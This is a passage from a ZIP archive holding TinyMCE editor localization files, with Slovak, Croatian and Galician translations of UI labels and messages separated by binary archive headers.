"Sharpen": "Zaostri\u0165",
"Contrast": "Kontrast",
"Color levels": "\u00darovne farieb",
"Gamma": "Gama",
"Invert": "Invertova\u0165",
"Apply": "Pou\u017ei\u0165",
"Back": "Sp\u00e4\u0165",
"Insert date\/time": "Vlo\u017ei\u0165 d\u00e1tum\/\u010das",
"Date\/time": "D\u00e1tum\/\u010das",
"Insert\/Edit Link": "Vlo\u017ei\u0165\/Upravi\u0165 odkaz",
"Insert\/edit link": "Vlo\u017ei\u0165\/upravi\u0165 odkaz",
"Text to display": "Zobrazen\u00fd text",
"Url": "Url",
"Open link in...": "Otvori\u0165 odkaz v...",
"Current window": "Aktu\u00e1lne okno",
"None": "\u017diadne",
"New window": "Nov\u00e9 okno",
"Remove link": "Odstr\u00e1ni\u0165 odkaz",
"Anchors": "Kotvy",
"Link...": "Odkaz...",
"Paste or type a link": "Prilepte alebo nap\u00ed\u0161te odkaz",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL, ktor\u00fa ste vlo\u017eili je pravdepodobne emailov\u00e1 adresa. \u017del\u00e1te si prida\u0165 vy\u017eadovan\u00fa mailto: predponu?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL adresa ktor\u00fa ste zadali vyzer\u00e1 ako extern\u00fd odkaz. Chcete prida\u0165 vy\u017eadovan\u00fa http:\/\/ predponu?",
"Link list": "Zoznam odkazov",
"Insert video": "Vlo\u017ei\u0165 video",
"Insert\/edit video": "Vlo\u017ei\u0165\/upravi\u0165 video",
"Insert\/edit media": "Vlo\u017ei\u0165\/upravi\u0165 m\u00e9di\u00e1",
"Alternative source": "Alternat\u00edvny zdroj",
"Alternative source URL": "Alternat\u00edvny zdroj URL",
"Media poster (Image URL)": "Obr\u00e1zok m\u00e9dia (URL obr\u00e1zka)",
"Paste your embed code below:": "Vlo\u017ete k\u00f3d pre vlo\u017eenie na str\u00e1nku:",
"Embed": "Vlo\u017een\u00e9",
"Media...": "M\u00e9di\u00e1...",
"Nonbreaking space": "Nedelite\u013en\u00e1 medzera",
"Page break": "Zalomenie str\u00e1nky",
"Paste as text": "Vlo\u017ei\u0165 ako text",
"Preview": "N\u00e1h\u013ead",
"Print...": "Tla\u010d...",
"Save": "Ulo\u017ei\u0165",
"Find": "H\u013eada\u0165",
"Replace with": "Nahradi\u0165 za",
"Replace": "Nahradi\u0165",
"Replace all": "Nahradi\u0165 v\u0161etko",
"Previous": "Predch\u00e1dzaj\u00face",
"Next": "Nasleduj\u00face",
"Find and replace...": "N\u00e1js\u0165 a nahradi\u0165...",
"Could not find the specified string.": "Zadan\u00fd re\u0165azec sa nena\u0161iel.",
"Match case": "Rozli\u0161ova\u0165 ve\u013ek\u00e9\/mal\u00e9",
"Find whole words only": "H\u013eada\u0165 len cel\u00e9 slov\u00e1",
"Spell check": "Kontrola pravopisu",
"Ignore": "Ignorova\u0165",
"Ignore all": "Ignorova\u0165 v\u0161etko",
"Finish": "Dokon\u010di\u0165",
"Add to Dictionary": "Prida\u0165 do slovn\u00edka",
"Insert table": "Vlo\u017ei\u0165 tabu\u013eku",
"Table properties": "Nastavenia tabu\u013eky",
"Delete table": "Zmaza\u0165 tabu\u013eku",
"Cell": "Bunka",
"Row": "Riadok",
"Column": "St\u013apec",
"Cell properties": "Vlastnosti bunky",
"Merge cells": "Spoji\u0165 bunky",
"Split cell": "Rozdeli\u0165 bunku",
"Insert row before": "Vlo\u017ei\u0165 nov\u00fd riadok pred",
"Insert row after": "Vlo\u017ei\u0165 nov\u00fd riadok za",
"Delete row": "Zmaza\u0165 riadok",
"Row properties": "Vlastnosti riadku",
"Cut row": "Vystrihn\u00fa\u0165 riadok",
"Copy row": "Kop\u00edrova\u0165 riadok",
"Paste row before": "Vlo\u017ei\u0165 riadok pred",
"Paste row after": "Vlo\u017ei\u0165 riadok za",
"Insert column before": "Prida\u0165 nov\u00fd st\u013apec pred",
"Insert column after": "Prida\u0165 nov\u00fd st\u013apec za",
"Delete column": "Vymaza\u0165 st\u013apec",
"Cols": "St\u013apce",
"Rows": "Riadky",
"Width": "\u0160\u00edrka",
"Height": "V\u00fd\u0161ka",
"Cell spacing": "Priestor medzi bunkami",
"Cell padding": "Odsadenie v bunk\u00e1ch",
"Show caption": "Zobrazi\u0165 popis",
"Left": "V\u013eavo",
"Center": "Na stred",
"Right": "Vpravo",
"Cell type": "Typ bunky",
"Scope": "Oblas\u0165",
"Alignment": "Zarovnanie",
"H Align": "Horizont\u00e1lne zarovnanie",
"V Align": "Vertik\u00e1lne zarovnanie",
"Top": "Vrch",
"Middle": "Stred",
"Bottom": "Spodok",
"Header cell": "Bunka z\u00e1hlavia",
"Row group": "Skupina riadkov",
"Column group": "Skupina st\u013apcov",
"Row type": "Typ riadku",
"Header": "Z\u00e1hlavie",
"Body": "Telo",
"Footer": "P\u00e4ti\u010dka",
"Border color": "Farba or\u00e1movania",
"Insert template...": "Vlo\u017ei\u0165 \u0161abl\u00f3nu...",
"Templates": "\u0160abl\u00f3ny",
"Template": "\u0160abl\u00f3na",
"Text color": "Farba textu",
"Background color": "Farba pozadia",
"Custom...": "Vlastn\u00e1...",
"Custom color": "Vlastn\u00e1 farba",
"No color": "Bez farby",
"Remove color": "Odstr\u00e1ni\u0165 farbu",
"Table of Contents": "Obsah",
"Show blocks": "Zobrazi\u0165 bloky",
"Show invisible characters": "Zobrazi\u0165 skryt\u00e9 znaky",
"Word count": "Po\u010det slov",
"Count": "Po\u010det",
"Document": "Dokument",
"Selection": "V\u00fdber",
"Words": "Slov\u00e1",
"Words: {0}": "Slov: {0}",
"{0} words": "{0} slov\u00e1\/slov",
"File": "S\u00fabor",
"Edit": "Upravi\u0165",
"Insert": "Vlo\u017ei\u0165",
"View": "Zobrazi\u0165",
"Format": "Form\u00e1t",
"Table": "Tabu\u013eka",
"Tools": "N\u00e1stroje",
"Powered by {0}": "Pou\u017e\u00edva {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Textov\u00e9 pole. Stla\u010dte ALT-F9 pre zobrazenie menu, ALT-F10 pre zobrazenie panela n\u00e1strojov, ALT-0 pre n\u00e1povedu.",
"Image title": "N\u00e1zov obr\u00e1zka",
"Border width": "\u0160\u00edrka okraja",
"Border style": "\u0160t\u00fdl okraja",
"Error": "Chyba",
"Warn": "Upozornenie",
"Valid": "Platn\u00e9",
"To open the popup, press Shift+Enter": "Na otvorenie kontextovej ponuky stla\u010dte Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Oblas\u0165 pre text vo form\u00e1te RTF. Stla\u010dte ALT-0 pre n\u00e1povedu.",
"System Font": "Syst\u00e9mov\u00e9 p\u00edsmo",
"Failed to upload image: {0}": "Obr\u00e1zok sa nepodarilo nahra\u0165: {0}",
"Failed to load plugin: {0} from url {1}": "Plugin: {0} sa nepodarilo nahra\u0165 z url {1}",
"Failed to load plugin url: {0}": "Nepodarilo sa nahra\u0165 plugin url: {0}",
"Failed to initialize plugin: {0}": "Nepodarilo sa inicializova\u0165 plugin: {0}",
"example": "pr\u00edklad",
"Search": "Vyh\u013eada\u0165",
"All": "V\u0161etko",
"Currency": "Mena",
"Text": "Text",
"Quotations": "Kvot\u00e1cie",
"Mathematical": "Matematick\u00e9",
"Extended Latin": "Roz\u0161\u00edren\u00e1 latinka",
"Symbols": "Symboly",
"Arrows": "\u0160\u00edpky",
"User Defined": "Definovan\u00e9 pou\u017e\u00edvate\u013eom",
"dollar sign": "znak pre dol\u00e1r",
"currency sign": "znak meny",
"euro-currency sign": "znak eura",
"colon sign": "znak dvojbodky",
"cruzeiro sign": "znak pre cruzeiro",
"french franc sign": "znak pre franc\u00fazsky frank",
"lira sign": "znak pre l\u00edru",
"mill sign": "znak pre mill",
"naira sign": "znak pre nairu",
"peseta sign": "znak pre pesetu",
"rupee sign": "znak pre rupiu",
"won sign": "znak pre won",
"new sheqel sign": "znak pre nov\u00fd \u0161ekel",
"dong sign": "znak pre dong",
"kip sign": "znak pre kip",
"tugrik sign": "znak pre tugrik",
"drachma sign": "znak pre drachmu",
"german penny symbol": "znak pre nemeck\u00fd pfennig",
"peso sign": "znak pre peso",
"guarani sign": "znak pre guarani",
"austral sign": "znak pre austral",
"hryvnia sign": "znak pre hrivnu",
"cedi sign": "znak pre cedi",
"livre tournois sign": "znak pre livre tournois",
"spesmilo sign": "znak pre spesmilo",
"tenge sign": "znak pre tenge",
"indian rupee sign": "znak pre indick\u00fa rupiu",
"turkish lira sign": "znak pre tureck\u00fa l\u00edru",
"nordic mark sign": "znak pre nordick\u00fa marku",
"manat sign": "znak pre manat",
"ruble sign": "znak pre rube\u013e",
"yen character": "znak pre jen",
"yuan character": "znak pre j\u00fcan",
"yuan character, in hong kong and taiwan": "znak pre j\u00fcan, v Hongkongu a Taiwane",
"yen\/yuan character variant one": "znak pre jen\/j\u00fcan variant jedna",
"Loading emoticons...": "Na\u010d\u00edtavam smajl\u00edky...",
"Could not load emoticons": "Smajl\u00edky sa nepodarilo na\u010d\u00edta\u0165",
"People": "\u013dudia",
"Animals and Nature": "Zvierat\u00e1 a pr\u00edroda",
"Food and Drink": "Jedlo a n\u00e1poje",
"Activity": "Aktivity",
"Travel and Places": "Cestovanie a miesta",
"Objects": "Objekty",
"Flags": "Vlajky",
"Characters": "Znaky",
"Characters (no spaces)": "Znaky (bez medzier)",
"{0} characters": "Znaky: {0}",
"Error: Form submit field collision.": "Chyba: konflikt po\u013ea odosielania formul\u00e1ra.",
"Error: No form element found.": "Chyba: nena\u0161iel sa prvok formul\u00e1ra.",
"Update": "Aktualizova\u0165",
"Color swatch": "Vzorky farieb",
"Turquoise": "Tyrkysov\u00e1",
"Green": "Zelen\u00e1",
"Blue": "Modr\u00e1",
"Purple": "Fialov\u00e1",
"Navy Blue": "N\u00e1morn\u00edcka modr\u00e1",
"Dark Turquoise": "Tmavotyrkysov\u00e1",
"Dark Green": "Tmavozelen\u00e1",
"Medium Blue": "Stredn\u00e1 modr\u00e1",
"Medium Purple": "Stredn\u00e1 fialov\u00e1",
"Midnight Blue": "Polno\u010dn\u00e1 modr\u00e1",
"Yellow": "\u017dlt\u00e1",
"Orange": "Oran\u017eov\u00e1",
"Red": "\u010cerven\u00e1",
"Light Gray": "Svetlosiv\u00e1",
"Gray": "Siv\u00e1",
"Dark Yellow": "Tmavo\u017elt\u00e1",
"Dark Orange": "Tmavooran\u017eov\u00e1",
"Dark Red": "Tmavo\u010derven\u00e1",
"Medium Gray": "Stredn\u00e1 siv\u00e1",
"Dark Gray": "Tmavosiv\u00e1",
"Light Green": "Svetlozelen\u00e1",
"Light Yellow": "Svetlo\u017elt\u00e1",
"Light Red": "Svetlo\u010derven\u00e1",
"Light Purple": "Svetlofialov\u00e1",
"Light Blue": "Svetlomodr\u00e1",
"Dark Purple": "Tmavofialov\u00e1",
"Dark Blue": "Tmavomodr\u00e1",
"Black": "\u010cierna",
"White": "Biela",
"Switch to or from fullscreen mode": "Prepn\u00fa\u0165 do alebo z re\u017eimu plnej obrazovky",
"Open help dialog": "Otvori\u0165 okno n\u00e1povedy",
"history": "hist\u00f3ria",
"styles": "\u0161t\u00fdly",
"formatting": "form\u00e1tovanie",
"alignment": "zarovnanie",
"indentation": "odsadenie",
"permanent pen": "fixka",
"comments": "koment\u00e1re",
"Format Painter": "Kop\u00edrova\u0165 form\u00e1t",
"Insert\/edit iframe": "Vlo\u017ei\u0165\/upravi\u0165 iframe",
"Capitalization": "Ve\u013ek\u00e9 p\u00edsmen\u00e1",
"lowercase": "mal\u00e9 p\u00edsmen\u00e1",
"UPPERCASE": "V\u0160ETKY P\u00cdSMEN\u00c1 VE\u013dK\u00c9",
"Title Case": "Prv\u00e9 P\u00edsmen\u00e1 Ve\u013ek\u00e9",
"Permanent Pen Properties": "Vlastnosti fixky",
"Permanent pen properties...": "Vlastnosti fixky...",
"Font": "P\u00edsmo",
"Size": "Ve\u013ekos\u0165",
"More...": "Viac...",
"Spellcheck Language": "Jazyk kontroly pravopisu",
"Select...": "Vyberte...",
"Preferences": "Preferencie",
"Yes": "\u00c1no",
"No": "Nie",
"Keyboard Navigation": "Navig\u00e1cia pomocou kl\u00e1vesnice",
"Version": "Verzia",
"Anchor": "Odkaz",
"Special character": "\u0160peci\u00e1lny znak",
"Color": "Farba",
"Emoticons": "Smajl\u00edci",
"Document properties": "Vlastnosti dokumentu",
"Image": "Obr\u00e1zok",
"Insert link": "Vlo\u017ei\u0165 odkaz",
"Target": "Cie\u013e",
"Link": "Odkaz",
"Poster": "Uk\u00e1\u017eka",
"Media": "M\u00e9di\u00e1",
"Print": "Tla\u010di\u0165",
"Prev": "Predch\u00e1dzaj\u00face",
"Find and replace": "Vyh\u013eada\u0165 a nahradi\u0165",
"Whole words": "Cel\u00e9 slov\u00e1",
"Spellcheck": "Kontrola pravopisu",
"Caption": "Popisok",
"Insert template": "Vlo\u017ei\u0165 \u0161abl\u00f3nu"
});PK
h�\[�ϧ_;_;program/js/tinymce/langs/hr.jsnu�[���tinymce.addI18n('hr',{
"Redo": "Ponovi",
"Undo": "Poni\u0161ti",
"Cut": "Izre\u017ei",
"Copy": "Kopiraj",
"Paste": "Zalijepi",
"Select all": "Odaberi sve",
"New document": "Novi dokument",
"Ok": "U redu",
"Cancel": "Odustani",
"Visual aids": "Vizualna pomo\u0107",
"Bold": "Podebljano",
"Italic": "Kurziv",
"Underline": "Podcrtaj",
"Strikethrough": "Prekri\u017ei",
"Superscript": "Eksponent",
"Subscript": "Indeks",
"Clear formatting": "Izbri\u0161i oblikovanje",
"Align left": "Poravnaj lijevo",
"Align center": "Poravnaj po sredini",
"Align right": "Poravnaj desno",
"Justify": "Obostrano poravnanje",
"Bullet list": "Popis s oznakama",
"Numbered list": "Numerirani popis",
"Decrease indent": "Smanji uvla\u010denje",
"Increase indent": "Pove\u0107aj uvla\u010denje",
"Close": "Zatvori",
"Formats": "Formati",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Va\u0161 preglednik ne podr\u017eava izravan pristup me\u0111uspremniku. Umjesto toga upotrijebite tipkovni\u010dke pre\u010dace Ctrl\u00a0+\u00a0X\/C\/V.",
"Headers": "Zaglavlja",
"Header 1": "Zaglavlje 1",
"Header 2": "Zaglavlje 2",
"Header 3": "Zaglavlje 3",
"Header 4": "Zaglavlje 4",
"Header 5": "Zaglavlje 5",
"Header 6": "Zaglavlje 6",
"Headings": "Zaglavlja",
"Heading 1": "Zaglavlje 1",
"Heading 2": "Zaglavlje 2",
"Heading 3": "Zaglavlje 3",
"Heading 4": "Zaglavlje 4",
"Heading 5": "Zaglavlje 5",
"Heading 6": "Zaglavlje 6",
"Preformatted": "Prethodno oblikovano",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Odlomak",
"Blockquote": "Blockquote",
"Inline": "U retku",
"Blocks": "Blokovi",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Akcija zalijepi od sada lijepi \u010disti tekst. Sadr\u017eaj \u0107e biti zaljepljen kao \u010disti tekst sve dok ne isklju\u010dite ovu opciju.",
"Fonts": "Fontovi",
"Font Sizes": "Veli\u010dine fonta",
"Class": "Razred",
"Browse for an image": "Potra\u017eite sliku",
"OR": "ILI",
"Drop an image here": "Ispustite sliku ovdje",
"Upload": "U\u010ditaj",
"Block": "Blok",
"Align": "Poravnaj",
"Default": "Zadano",
"Circle": "Krug",
"Disc": "To\u010dka",
"Square": "Kvadrat",
"Lower Alpha": "Mala slova",
"Lower Greek": "Mala gr\u010dka slova",
"Lower Roman": "Mala rimska slova",
"Upper Alpha": "Velika slova",
"Upper Roman": "Velika rimska slova",
"Anchor...": "Fiksna to\u010dka...",
"Name": "Ime",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id treba po\u010dinjati slovom, a nakon toga slijede samo slova, brojevi, crtice, to\u010dke, dvoto\u010dke i podvlake.",
"You have unsaved changes are you sure you want to navigate away?": "Postoje ne pohranjene izmjene, jeste li sigurni da \u017eelite oti\u0107i?",
"Restore last draft": "Vrati posljednju skicu",
"Special character...": "Poseban znak...",
"Source code": "Izvorni kod",
"Insert\/Edit code sample": "Umetni\/Uredi primjer k\u00f4da",
"Language": "Jezik",
"Code sample...": "Primjerak k\u00f4da...",
"Color Picker": "Izabira\u010d boja",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "S lijeva na desno",
"Right to left": "S desna na lijevo",
"Emoticons...": "Emotikoni...",
"Metadata and Document Properties": "Metapodaci i svojstva dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne rije\u010di",
"Description": "Opis",
"Robots": "Roboti pretra\u017eiva\u010da",
"Author": "Autor",
"Encoding": "Kodna stranica",
"Fullscreen": "Cijeli ekran",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Dodaci",
"Handy Shortcuts": "Korisni pre\u010daci",
"Horizontal line": "Horizontalna linija",
"Insert\/edit image": "Umetni\/izmijeni sliku",
"Image description": "Opis slike",
"Source": "Izvor",
"Dimensions": "Dimenzije",
"Constrain proportions": "Zadr\u017ei proporcije",
"General": "Op\u0107enito",
"Advanced": "Napredno",
"Style": "Stil",
"Vertical space": "Okomit razmak",
"Horizontal space": "Horizontalan razmak",
"Border": "Rub",
"Insert image": "Umetni sliku",
"Image...": "Slika...",
"Image list": "Image list",
"Rotate counterclockwise": "Rotiraj lijevo",
"Rotate clockwise": "Rotiraj desno",
"Flip vertically": "Obrni vertikalno",
"Flip horizontally": "Obrni horizontalno",
"Edit image": "Uredi sliku",
"Image options": "Opcije slike",
"Zoom in": "Pove\u0107aj",
"Zoom out": "Smanji",
"Crop": "Obre\u017ei",
"Resize": "Promjeni veli\u010dinu",
"Orientation": "Orijentacija",
"Brightness": "Svjetlina",
"Sharpen": "Izo\u0161travanje",
"Contrast": "Kontrast",
"Color levels": "Razine boje",
"Gamma": "Gamma",
"Invert": "Invertiraj",
"Apply": "Primijeni",
"Back": "Natrag",
"Insert date\/time": "Umetni datum\/vrijeme",
"Date\/time": "Datum\/vrijeme",
"Insert\/Edit Link": "Umetni\/uredi poveznicu",
"Insert\/edit link": "Umetni\/izmijeni poveznicu",
"Text to display": "Tekst za prikaz",
"Url": "Url",
"Open link in...": "Otvori poveznicu u...",
"Current window": "Trenuta\u010dni prozor",
"None": "Ni\u0161ta",
"New window": "Novi prozor",
"Remove link": "Ukloni poveznicu",
"Anchors": "Kra\u0107e poveznice",
"Link...": "Poveznica...",
"Paste or type a link": "Zalijepi ili upi\u0161i link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Izgleda da je URL koji ste upisali e-mail adresa. \u017delite li dodati obavezan mailto: prefiks?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Izgleda da je URL koji ste upisali vanjski link. \u017delite li dodati obavezan http:\/\/ prefiks?",
"Link list": "Link list",
"Insert video": "Umetni video",
"Insert\/edit video": "Umetni\/izmijeni video",
"Insert\/edit media": "Umetni\/uredi mediju",
"Alternative source": "Alternativni izvor",
"Alternative source URL": "URL alternativnog izvora",
"Media poster (Image URL)": "Medijski poster (URL slike)",
"Paste your embed code below:": "Umetnite va\u0161 kod za ugradnju ispod:",
"Embed": "Ugradi",
"Media...": "Mediji...",
"Nonbreaking space": "Neprekidaju\u0107i razmak",
"Page break": "Prijelom stranice",
"Paste as text": "Zalijepi kao tekst",
"Preview": "Pregled",
"Print...": "Ispi\u0161i...",
"Save": "Spremi",
"Find": "Tra\u017ei",
"Replace with": "Zamijeni s",
"Replace": "Zamijeni",
"Replace all": "Zamijeni sve",
"Previous": "Prethodno",
"Next": "Slijede\u0107i",
"Find and replace...": "Prona\u0111i i zamijeni...",
"Could not find the specified string.": "Tra\u017eeni tekst nije prona\u0111en",
"Match case": "Pazi na mala i velika slova",
"Find whole words only": "Prona\u0111i samo cijele rije\u010di",
"Spell check": "Provjera pravopisa",
"Ignore": "Zanemari",
"Ignore all": "Zanemari sve",
"Finish": "Zavr\u0161i",
"Add to Dictionary": "Dodaj u rje\u010dnik",
"Insert table": "Umetni tablicu",
"Table properties": "Svojstva tablice",
"Delete table": "Izbri\u0161i tablicu",
"Cell": "Polje",
"Row": "Redak",
"Column": "Stupac",
"Cell properties": "Svojstva polja",
"Merge cells": "Spoji polja",
"Split cell": "Razdvoji polja",
"Insert row before": "Umetni redak prije",
"Insert row after": "Umetni redak nakon",
"Delete row": "Izbri\u0161i redak",
"Row properties": "Svojstva redka",
"Cut row": "Izre\u017ei redak",
"Copy row": "Kopiraj redak",
"Paste row before": "Zalijepi redak prije",
"Paste row after": "Zalijepi redak nakon",
"Insert column before": "Umetni stupac prije",
"Insert column after": "Umetni stupac nakon",
"Delete column": "Izbri\u0161i stupac",
"Cols": "Stupci",
"Rows": "Redci",
"Width": "\u0160irina",
"Height": "Visina",
"Cell spacing": "Razmak izme\u0111u polja",
"Cell padding": "Razmak unutar polja",
"Show caption": "Prika\u017ei natpis",
"Left": "Lijevo",
"Center": "Sredina",
"Right": "Desno",
"Cell type": "Vrsta polja",
"Scope": "Doseg",
"Alignment": "Poravnanje",
"H Align": "H Poravnavanje",
"V Align": "V Poravnavanje",
"Top": "Vrh",
"Middle": "Sredina",
"Bottom": "Dno",
"Header cell": "Polje zaglavlja",
"Row group": "Grupirani redci",
"Column group": "Grupirani stupci",
"Row type": "Vrsta redka",
"Header": "Zaglavlje",
"Body": "Sadr\u017eaj",
"Footer": "Podno\u017eje",
"Border color": "Boja ruba",
"Insert template...": "Umetni predlo\u017eak...",
"Templates": "Predlo\u0161ci",
"Template": "Predlo\u017eak",
"Text color": "Boja teksta",
"Background color": "Boja pozadine",
"Custom...": "Prilago\u0111eno...",
"Custom color": "Prilago\u0111ena boja",
"No color": "Bez boje",
"Remove color": "Ukloni boju",
"Table of Contents": "Sadr\u017eaj",
"Show blocks": "Prika\u017ei blokove",
"Show invisible characters": "Prika\u017ei nevidljive znakove",
"Word count": "Broj rije\u010di",
"Count": "Broj",
"Document": "Dokument",
"Selection": "Odabir",
"Words": "Rije\u010di",
"Words: {0}": "Rije\u010di: {0}",
"{0} words": "{0} rije\u010d(i)",
"File": "Datoteka",
"Edit": "Izmijeni",
"Insert": "Umetni",
"View": "Pogled",
"Format": "Oblikuj",
"Table": "Tablica",
"Tools": "Alati",
"Powered by {0}": "Omogu\u0107uje {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Pritisni ALT-F9 za izbornik. Pritisni ALT-F10 za alatnu traku. Pritisni ALT-0 za pomo\u0107",
"Image title": "Naslov slike",
"Border width": "\u0160irina granice",
"Border style": "Stil granice",
"Error": "Pogre\u0161ka",
"Warn": "Upozori",
"Valid": "Valjano",
"To open the popup, press Shift+Enter": "Da biste otvorili sko\u010dni prozor, pritisnite Shift\u00a0+\u00a0Enter",
"Rich Text Area. Press ALT-0 for help.": "Podru\u010dje oboga\u0107enog teksta. Pritisnite ALT-0 za pomo\u0107.",
"System Font": "Font sustava",
"Failed to upload image: {0}": "U\u010ditavanje slike nije uspjelo: {0}",
"Failed to load plugin: {0} from url {1}": "U\u010ditavanje dodatka nije uspjelo: {0} s URL-a {1}",
"Failed to load plugin url: {0}": "U\u010ditavanje dodatka nije uspjelo: {0}",
"Failed to initialize plugin: {0}": "Pokretanje dodatka nije uspjelo: {0}",
"example": "primjer",
"Search": "Tra\u017ei",
"All": "Svi",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Navodnici",
"Mathematical": "Matemati\u010dki",
"Extended Latin": "Pro\u0161ireni latinski",
"Symbols": "Simboli",
"Arrows": "Strelice",
"User Defined": "Korisni\u010dki definirano",
"dollar sign": "znak za dolar",
"currency sign": "znak za valutu",
"euro-currency sign": "znak za valutu \u2013 euro",
"colon sign": "znak za kolon",
"cruzeiro sign": "znak za cruzeiro",
"french franc sign": "znak za francuski franak",
"lira sign": "znak za liru",
"mill sign": "znak za mill",
"naira sign": "znak za nairu",
"peseta sign": "znak za pezetu",
"rupee sign": "znak za rupiju",
"won sign": "znak za von",
"new sheqel sign": "znak za novi \u0161ekel",
"dong sign": "znak za dong",
"kip sign": "znak za kip",
"tugrik sign": "znak za tugrik",
"drachma sign": "znak za drahmu",
"german penny symbol": "simbol za njema\u010dki peni",
"peso sign": "znak za pezo",
"guarani sign": "znak za gvarani",
"austral sign": "znak za austral",
"hryvnia sign": "znak za grivnju",
"cedi sign": "znak za cedi",
"livre tournois sign": "znak za livre tournois",
"spesmilo sign": "znak za spesmilo",
"tenge sign": "znak za tengu",
"indian rupee sign": "znak za indijsku rupiju",
"turkish lira sign": "znak za tursku liru",
"nordic mark sign": "znak za nordijsku marku",
"manat sign": "znak za manat",
"ruble sign": "znak za rubalj",
"yen character": "znak za jen",
"yuan character": "znak za juan",
"yuan character, in hong kong and taiwan": "znak za juan, u Hong Kongu i Tajvanu",
"yen\/yuan character variant one": "znak za jen\/juan, prva varijanta",
"Loading emoticons...": "U\u010ditavanje emotikona...",
"Could not load emoticons": "Nije mogu\u0107e u\u010ditati emotikone",
"People": "Osobe",
"Animals and Nature": "\u017divotinje i priroda",
"Food and Drink": "Hrana i pi\u0107e",
"Activity": "Aktivnosti",
"Travel and Places": "Putovanje i mjesta",
"Objects": "Predmeti",
"Flags": "Zastave",
"Characters": "Znakovi",
"Characters (no spaces)": "Znakovi (bez razmaka)",
"{0} characters": "{0} znakova",
"Error: Form submit field collision.": "Pogre\u0161ka: sukob polja za podno\u0161enje obrasca.",
"Error: No form element found.": "Pogre\u0161ka: nema elementa oblika.",
"Update": "A\u017euriraj",
"Color swatch": "Uzorak boje",
"Turquoise": "Tirkizna",
"Green": "Zelena",
"Blue": "Plava",
"Purple": "Ljubi\u010dasta",
"Navy Blue": "Mornarsko plava",
"Dark Turquoise": "Tamnotirkizna",
"Dark Green": "Tamnozelena",
"Medium Blue": "Srednje plava",
"Medium Purple": "Srednje ljubi\u010dasta",
"Midnight Blue": "Pono\u0107no plava",
"Yellow": "\u017duta",
"Orange": "Naran\u010dasta",
"Red": "Crvena",
"Light Gray": "Svijetlosiva",
"Gray": "Siva",
"Dark Yellow": "Tamno\u017euta",
"Dark Orange": "Tamnonaran\u010dasta",
"Dark Red": "Tamnocrvena",
"Medium Gray": "Srednje siva",
"Dark Gray": "Tamnosiva",
"Light Green": "Svjetlozelena",
"Light Yellow": "Svjetlo\u017euta",
"Light Red": "Svjetlocrvena",
"Light Purple": "Svjetloljubi\u010dasta",
"Light Blue": "Svjetloplava",
"Dark Purple": "Tamnoljubi\u010dasta",
"Dark Blue": "Tamnoplava",
"Black": "Crna",
"White": "Bijela",
"Switch to or from fullscreen mode": "Prebacivanje u prikaz preko cijelog zaslona ili iz njega",
"Open help dialog": "Otvori dijalo\u0161ki okvir za pomo\u0107",
"history": "povijest",
"styles": "stilovi",
"formatting": "oblikovanje",
"alignment": "poravnanje",
"indentation": "uvlaka",
"permanent pen": "trajna olovka",
"comments": "komentari",
"Format Painter": "Prenositelj oblikovanja",
"Insert\/edit iframe": "Umetni\/uredi iframe oznaku",
"Capitalization": "Velika slova",
"lowercase": "mala slova",
"UPPERCASE": "VELIKA SLOVA",
"Title Case": "Pisanje naslova",
"Permanent Pen Properties": "Trajna svojstva olovke",
"Permanent pen properties...": "Trajna svojstva olovke...",
"Font": "Font",
"Size": "Veli\u010dina",
"More...": "Vi\u0161e...",
"Spellcheck Language": "Jezik provjere pravopisa",
"Select...": "Odaberi...",
"Preferences": "Postavke",
"Yes": "Da",
"No": "Ne",
"Keyboard Navigation": "Navigacija na tipkovnici",
"Version": "Ina\u010dica",
"Anchor": "Sidro",
"Special character": "Poseban znak",
"Color": "Boja",
"Emoticons": "Emotikoni",
"Document properties": "Svojstva dokumenta",
"Image": "Slika",
"Insert link": "Umetni poveznicu",
"Target": "Meta",
"Link": "Link",
"Poster": "Poster",
"Media": "Media",
"Print": "Ispis",
"Prev": "Prethodni",
"Find and replace": "Prona\u0111i i zamijeni",
"Whole words": "Cijele rije\u010di",
"Spellcheck": "Provjeri pravopis",
"Caption": "Natpis",
"Insert template": "Umetni predlo\u017eak"
});PK
h�\o�#6�9�9program/js/tinymce/langs/gl.jsnu�[���tinymce.addI18n('gl',{
"Redo": "Refacer",
"Undo": "Desfacer",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Pegar",
"Select all": "Seleccionar todo",
"New document": "Novo documento",
"Ok": "Aceptar",
"Cancel": "Cancelar",
"Visual aids": "Axudas visuais",
"Bold": "Negra",
"Italic": "Cursiva",
"Underline": "Subli\u00f1ado",
"Strikethrough": "Riscado",
"Superscript": "Super\u00edndice",
"Subscript": "Sub\u00edndice",
"Clear formatting": "Limpar o formato",
"Align left": "Ali\u00f1ar \u00e1 esquerda",
"Align center": "Ali\u00f1ar ao centro",
"Align right": "Ali\u00f1ar \u00e1 dereita",
"Justify": "Xustificar",
"Bullet list": "Lista de vi\u00f1etas",
"Numbered list": "Lista numerada",
"Decrease indent": "Reducir a sangr\u00eda",
"Increase indent": "Aumentar a sangr\u00eda",
